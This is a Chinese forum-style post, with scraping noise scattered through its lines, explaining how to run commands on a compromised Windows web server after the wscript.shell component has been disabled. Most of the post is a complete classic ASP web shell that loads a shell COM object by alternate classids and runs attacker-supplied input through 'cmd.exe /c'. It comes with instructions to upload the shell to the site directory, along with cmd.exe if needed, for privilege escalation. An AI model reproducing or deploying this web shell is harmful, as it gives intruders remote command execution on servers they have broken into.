可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。, f* N& }; m- G4 X: |- W
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。+ B1 e. w% p9 {/ b- }
要想让运行命令可以试试这种方法,成功率为五五之数。
9 x+ `0 R) ?/ J7 K' @, K/ d9 I把下面代码复制:, {0 g) C2 x( G- j% R3 I7 h# |
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>9 z& D+ f; i# V5 R
<%if err then%>7 i( u& m3 {3 N1 `* X6 c3 M
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
; s5 _" A- m7 X6 o4 _( n% A<%* t0 F* e, z- G, c; J; w
end if
o1 L3 ~5 `$ z$ s* Sresponse.write("<textarea readonly cols=80 rows=20>")+ n3 h6 Y# @8 K& Z
On Error Resume Next) {+ T# J, W& M4 y( Q3 T* L" F2 B! c
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall4 m& M/ r# t9 N3 c4 q
response.write("</textarea>")$ r- m1 {0 F' h
response.write("<form method='post'>")3 n8 T& t3 w/ [; S2 P6 Z
response.write("<input type=text name='c' size=60><br>"); w& \; Y- l- i9 d3 |8 V
response.write("<input type=submit value='执行'></form>")
3 X! t$ t* }; u7 o2 q%> }8 S: l+ U I5 ?
5 M2 m7 j b1 j% G, w保存为一个asp文件,然后传到网站目录上去1 g2 Q; W3 y- m" I) G7 c3 w8 A
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
1 r4 E7 R# x1 N1 F8 Z" U# k z我用此成功运行过cacls命令。( d. ?* C: |) F) x, U6 a1 d2 O
. W# N+ {% e& Q
第二那就是运行时出错,可能限制某些代码执行 |